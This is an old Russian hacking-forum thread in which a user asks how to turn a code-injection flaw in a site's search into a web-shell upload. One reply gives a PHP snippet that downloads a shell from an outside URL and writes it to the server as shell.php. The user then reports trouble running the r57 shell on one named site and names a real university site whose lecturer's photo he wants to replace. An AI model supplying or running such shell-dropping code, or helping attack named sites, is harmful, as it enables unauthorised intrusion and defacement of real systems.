Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

30.12.2005, 17:09
|
|
Новичок
Регистрация: 09.08.2005
Сообщений: 17
Провел на форуме: 72048
Репутация:
0
|
|
Пара вопросиков.
Есть сайт. Есть поиск на сайте. Поиск дает внедрять произвольный код (пробиваеш в поиске код и все, на странице результатов он исполнятеся (: ). Нужно зааплодить файло на этот сайт (шелл если быть точнее). Это возможно? Я где то читал, что можно зааплодить через скрипт, только не помню где. Кто может - помогить плизз! 
|
|
|

30.12.2005, 21:34
|
|
Banned
Регистрация: 05.10.2005
Сообщений: 965
Провел на форуме: 5888800
Репутация:
547
|
|
Я если правильно понел ты про инклуд говориш ? если это инклуд, то можна шелл залить, поставь сайт посмотрим.
|
|
|

31.12.2005, 02:52
|
|
Members of Antichat
Регистрация: 03.09.2005
Сообщений: 594
Провел на форуме: 3606217
Репутация:
685
|
|
Код:
<?
$filename=implode(file( "http://www.site.com/shell.txt"));
$fd = fopen ("shell.php", "w+");
fputs ($fd,$filename,90000000000);
fclose ($fd);
?>
Это попробуй, если я правильно понял ...
|
|
|

01.01.2006, 19:54
|
|
Новичок
Регистрация: 09.08.2005
Сообщений: 17
Провел на форуме: 72048
Репутация:
0
|
|
И еще, на одном сайте, при попытке открыть залитый шелл, вот что вышло (:
Код:
Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator, wwwadmin@rpgarea.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.
More information about this error may be available in the server error log.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator, wwwadmin@rpgarea.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.
More information about this error may be available in the server error log.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Apache/1.3.34 Server at www.sacred.net.ru Port 80
Может кто ни будь знает, что можно сделать?
|
|
|

01.01.2006, 19:57
|
|
Новичок
Регистрация: 09.08.2005
Сообщений: 17
Провел на форуме: 72048
Репутация:
0
|
|
Юзаю r57Shell. Попробовал переиминовть его в r57shell.html, все ОК, все открулось, но вот только не хочет он нормально работать.
|
|
|

06.01.2006, 19:29
|
|
Новичок
Регистрация: 09.08.2005
Сообщений: 17
Провел на форуме: 72048
Репутация:
0
|
|
Вот сайт.
http://www.rags.ru/
тут как раз уязвимость в поиске... Очень хотцца заменить фотку одного препода. (:
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|